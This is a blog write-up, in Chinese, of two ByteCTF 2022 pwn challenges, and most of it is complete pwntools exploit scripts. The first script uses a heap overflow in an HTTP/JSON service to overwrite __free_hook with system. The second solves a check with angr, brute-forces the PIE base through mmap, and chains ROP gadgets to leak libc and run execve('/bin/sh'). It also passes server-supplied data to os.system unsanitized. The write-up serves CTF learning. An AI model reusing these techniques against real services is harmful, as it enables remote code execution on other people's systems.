ByteCTF2022 Pwn

前言

质量很高的比赛,当时就做了下面两道有解的题。

还有个一解的winpwn考的是Segment HeapLFH机制,之前偷懒只看了VS分配机制,然后比赛的时候摆烂,不想看论文了,后面补。

mini_http2

一个httpd,发送数据是JSON的形式,edit中有溢出的漏洞,exit之前会手动调用__free_hook,改一改堆块的size,造成堆叠即可。其中数据解析的操作中,也会申请一些堆块,可能会造成冲突,因此需要设计一下堆风水。还有很多小细节不太记得了,就不说了。

from pwn import *

io = remote('a30efa973ee07164e696881ec72269b4' + '.2022.capturetheflag.fun', 1337, ssl=True)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def getin(size, choice, cus):
    payload = p16(size) + p8(0)
    payload += p8(choice)
    payload += p8(cus)
    payload += p8(11) + p8(12) + p8(13) + p8(14)
    io.send(payload)

def getin_heap(size1, size2, size3, choice, cus):
    payload = p8(size1) + p8(size2) + p8(size3)
    payload += p8(choice)
    payload += p8(cus)
    payload += p8(11) + p8(12) + p8(13) + p8(14)
    io.send(payload)

def read_content(chunk_size, choice, size1, size2, size3, size4, content):
    payload = p8(choice)
    payload += p8(0x86)
    payload += b"D"
    payload += p8(size1)
    payload += p8(size2)
    payload += p8(size3)
    payload += p8(size4)
    payload += (content)
    return payload

def login(payload):
    io.send(payload)

def register(payload):
    io.send(payload)

getin(0x300, 0x1, 0x5)

payload1 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/register?")

payload2 = payload1 + b"username=" + b"root" + b"&" + b"password=" + b"root" + b"&"

payload2 = payload2.ljust(0x300, b"\x00")

register(payload2)

getin(0x300, 0x1, 0x5)

payload3 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/login?")

payload4 = payload3 + b"username=" + b"root" + b"&" + b"password=" + b"root" + b"&"

payload4 = payload4.ljust(0x300, b"\x00")

login(payload4)

io.recvuntil("'gift': ")
io.recvuntil('"')

libc_base = int(io.recv(14), 16) - 0xc4200
success(hex(libc_base))

io.recvuntil('"}')

###########################################################################

getin(0x300, 0x1, 0x5)

payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")

payload5 = payload5.ljust(0x300,b"\x00")

login(payload5)

getin(0x300, 0x0, 0x5)

payload6 = b' \
{\
"name": "aaaa", \
"desc": "aaaa"\
}\
'

payload6 = payload6.ljust(0x300, b"\x00")

io.send(payload6)

io.recvuntil('"desc_addr": ')
io.recvuntil('"')

heap_base = int(io.recv(14), 16) - 0x1340

success("heap_base is leaked ==> " + hex(heap_base))

io.recvuntil('"}')

#######################################################################################

getin(0x300, 0x1, 0x5)

payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")

payload5 = payload5.ljust(0x300,b"\x00")

login(payload5)

getin(0x300, 0x0, 0x5)

#getin_heap = (0x0, 0x3, 0x0, 0x0, 0x5)

payload6 = b' \
{\
"name": "bbbb", \
"desc": "cccc"\
}\
'

payload6 = payload6.ljust(0x300, b"\x00")

io.send(payload6)

#######################################################################################

getin(0x300, 0x1, 0x5)

payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")

payload7 = payload7.ljust(0x300, b"\x00")

login(payload7)

getin(0x300, 0x0, 0x5)


payload8 = b' \
{\
"name": "aaaaaaaaaaaaaaaaaaaaaaaa\x41", \
"desc": "dddddddddddddddddddddddd\x31", \
"worker_idx": 0\
}\
'

payload8 = payload8.ljust(0x300, b"\x00")

io.send(payload8)

####################################################################

getin(0x300, 0x1, 0x5)

payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/del_worker")

payload5 = payload5.ljust(0x300,b"\x00")

login(payload5)

getin(0x300, 0x0, 0x5)

payload6 = b' \
{\
"worker_idx": 0\
}\
'

payload6 = payload6.ljust(0x300, b"\x00")

io.send(payload6)

#####################################################################

getin(0x300, 0x1, 0x5)

payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")

payload5 = payload5.ljust(0x300,b"\x00")

login(payload5)

getin(0x300, 0x0, 0x5)

payload6 = b' \
{\
"name": "aaaa", \
"desc": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\
}\
'

payload6 = payload6.ljust(0x300, b"\x00")

io.send(payload6)

#####################################################################

getin(0x300, 0x1, 0x5)

payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")

payload7 = payload7.ljust(0x300, b"\x00")

login(payload7)

getin(0x300, 0x0, 0x5)

data = b"a"*0x27

payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 0\
}\
'

payload8 = payload8.ljust(0x300, b"\x00")

io.send(payload8)

#####################################################################

getin(0x300, 0x1, 0x5)

payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")

payload7 = payload7.ljust(0x300, b"\x00")

login(payload7)

getin(0x300, 0x0, 0x5)

addr = libc_base + libc.symbols["__free_hook"] - 8
fd = addr ^ ((heap_base + 0x1000) >> 12)
success("fd:\t" + hex(fd))
data = b"a"*0x20 + p64(fd)[:-2]

payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 0\
}\
'

payload8 = payload8.ljust(0x300, b"\x00")

io.send(payload8)

#####################################################################

getin(0x300, 0x1, 0x5)

payload5 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/add_worker")

payload5 = payload5.ljust(0x300,b"\x00")

login(payload5)

getin(0x300, 0x0, 0x5)

payload6 = b' \
{\
"name": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", \
"desc": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"\
}\
'

payload6 = payload6.ljust(0x300, b"\x00")

io.send(payload6)

#####################################################################

getin(0x300, 0x1, 0x5)

payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")

payload7 = payload7.ljust(0x300, b"\x00")

login(payload7)

getin(0x300, 0x0, 0x5)

data = b"a"*0xf

payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 2\
}\
'

payload8 = payload8.ljust(0x300, b"\x00")

io.send(payload8)

#####################################################################

getin(0x300, 0x1, 0x5)

payload7 = read_content(0x310, 0x83, 0x0, 0x0, 0x2, 0x0, b"/api/edit_worker")

payload7 = payload7.ljust(0x300, b"\x00")

login(payload7)

getin(0x300, 0x0, 0x5)

sys_addr = libc_base + libc.symbols["system"]
data = b"a"*8 + p64(sys_addr)[:-2]

payload8 = b' \
{\
"name": "aaaa", \
"desc": "' + data + b'", \
"worker_idx": 2\
}\
'

payload8 = payload8.ljust(0x300, b"\x00")

io.send(payload8)

#####################################################################

getin(0x300, 0x1, 0x5)

payload1 = read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/register?")

payload2 = payload1 + b"username=" + b"/bin/sh" + b"&" + b"password=" + b"/bin/sh" + b"&"

payload2 = payload2.ljust(0x300, b"\x00")

register(payload2)

getin(0x300, 0x1, 0x5)

io.send(read_content(0x310, 0x82, 0x0, 0x0, 0x2, 0x0, b"/exit").ljust(0x300, b"\x00"))

io.interactive()

ComeAndPlay

将交互所给的base64解码成ELF文件,发现给了大约70mmap的操作,sizelen可控。可以通过mmap回显成功或失败,判断此处是否是ELF的地址,高位只有0x550x56两种可能,后面暴力循环肯定是不行的,可以采取“二分法”的操作,log级的,很快就能爆破出ELF的基地址,也就能绕过之后的操作了。

在正式进入Pwn题之前,有一个算式的求解,而且每次交互这个算式都不相同,还可以发现每次交互得到的题目中栈的大小以及程序的地址都不固定。时间限制又只有几秒钟,可见这是道auto pwn,故用capstone拿到程序中的一些地址,并通过angr与服务器交互求解即可。

from pwn import *
import os
import angr
import claripy
import sys
from capstone import *
context(os = "linux", arch = "amd64", log_level = "debug")

#io = process(["./pwn", "1914086912"])
io = remote("a0f67a64118340b6ef00033faa0f0ec7.2022.capturetheflag.fun", 1337, ssl=True)
libc = ELF("./libc.so")
#elf = ELF("./pwn")

def get_result(elf_path):
    file = elf_path
    CODE = open(file, "rb").read()[0x134e:0x134e + 0x200]
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    cnt = 0
    global bad_addr
    for i in md.disasm(CODE, 0x40134e):
        if i.mnemonic == "jne":
            cnt += 1
            if cnt == 3:
                good_addr = i.address + 6
                bad_addr = int(i.op_str,16)
    print("good_addr : 0x%08x" % good_addr)
    print("bad_addr : 0x%08x" % bad_addr)

def get_answer(path_to_binary):
        project = angr.Project(path_to_binary)

        start_address = 0x401381
        initial_state = project.factory.blank_state(addr=start_address, add_options={angr.options.LAZY_SOLVES})

        global offset

        initial_state.regs.rbp = initial_state.regs.rsp
        hex_pattern = re.compile('0x[0-9a-fA-F]*')
        ins_str = str(project.factory.block(0x401381, size=6).capstone.insns[0])
        offset = int(hex_pattern.findall(ins_str)[1], 16)

        password0 = claripy.BVS('password0', 64)

        padding_length_in_bytes = offset - 8
        initial_state.regs.rsp -= padding_length_in_bytes

        initial_state.stack_push(password0)

        simulation = project.factory.simgr(initial_state)

        def is_successful(state):
                stdout_output = state.posix.dumps(sys.stdout.fileno())
                print(stdout_output)
                if b'Now you can choose how to play' in stdout_output:
                    return True
                else: return False

        simulation.explore(find=is_successful)

        if simulation.found:
                solution_state = simulation.found[0]

                solution0 = (solution_state.solver.eval(password0))

                return solution0
        else:
                raise Exception('Could not find the solution')

def choice(idx) :
        io.sendlineafter("> ", str(idx))

def mmap(addr, length) :
        io.sendafter("Russian Roulette!\n", p64(addr) + p64(length))

def send(payload) :
        io.sendafter("What? Stud?\n", payload)

def check(addr, length) :
        choice(1)
        mmap(addr, length)
        res = io.recvuntil("!\n")
        if (b"Lucky" in res) :
                return 1
        return 0

io.recvuntil("\n\n\n")
b64 = io.recvuntil("\n").strip().decode()
os.system("echo " + b64 + " > ./b64")
os.system("base64 -d ./b64 > ./decode_elf")

elf = ELF("./decode_elf")
    
get_result('./decode_elf')
ans = get_answer('./decode_elf')
success(str(ans))
io.sendlineafter("Please input the answer:\n", str(ans))

hg = [0x55, 0x56]
pie_base  = 0

for i in hg :
        pie_base = i << 40
        for j in range(9, 2, -1) :
                left = 0
                right = 0xf
                last = 0x10
                ans = 0
                while left <= right:
                    mid = (left + right) >> 1
                    test_addr = pie_base|(mid<<(4*j))
                    if check(test_addr, (last-mid)<<(4*j)) :
                            last = mid
                            right = mid - 1
                    else :
                            ans = mid
                            left = mid + 1
                pie_base = pie_base|(ans<<(4*j))
        if ((pie_base >> 16) & 0xfffff != 0xfffff) :
                break

pie_base = pie_base - 0x3000
success("pie_base:\t" + hex(pie_base))

pop_rdi_ret = pie_base + (bad_addr & 0xffff) + 0xC9
puts_plt = pie_base + elf.plt['puts']
puts_got = pie_base + elf.got['puts']
read_buf_addr = pie_base + (bad_addr & 0xffff) - 0x89

fff = (int)(offset / 8) - 2

payload = p64(0)*fff + p64(pie_base + 0x1269) + p64(0) + p64(pie_base + 0x3800)
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(read_buf_addr)
choice(2)
send(payload)
io.recvuntil("OK, Thank You~\n")
libc_base = u64(io.recv(6).ljust(8, b"\x00")) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))

pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
execve_addr = libc_base + libc.sym['execve']

payload = p64(0)*fff + p64(pie_base + 0x1269) + p64(0)*2
payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(execve_addr)
send(payload)
io.sendline("cat /flag")
io.interactive()
posted @ 2022-09-26 17:39  winmt  阅读(337)  评论(0编辑  收藏  举报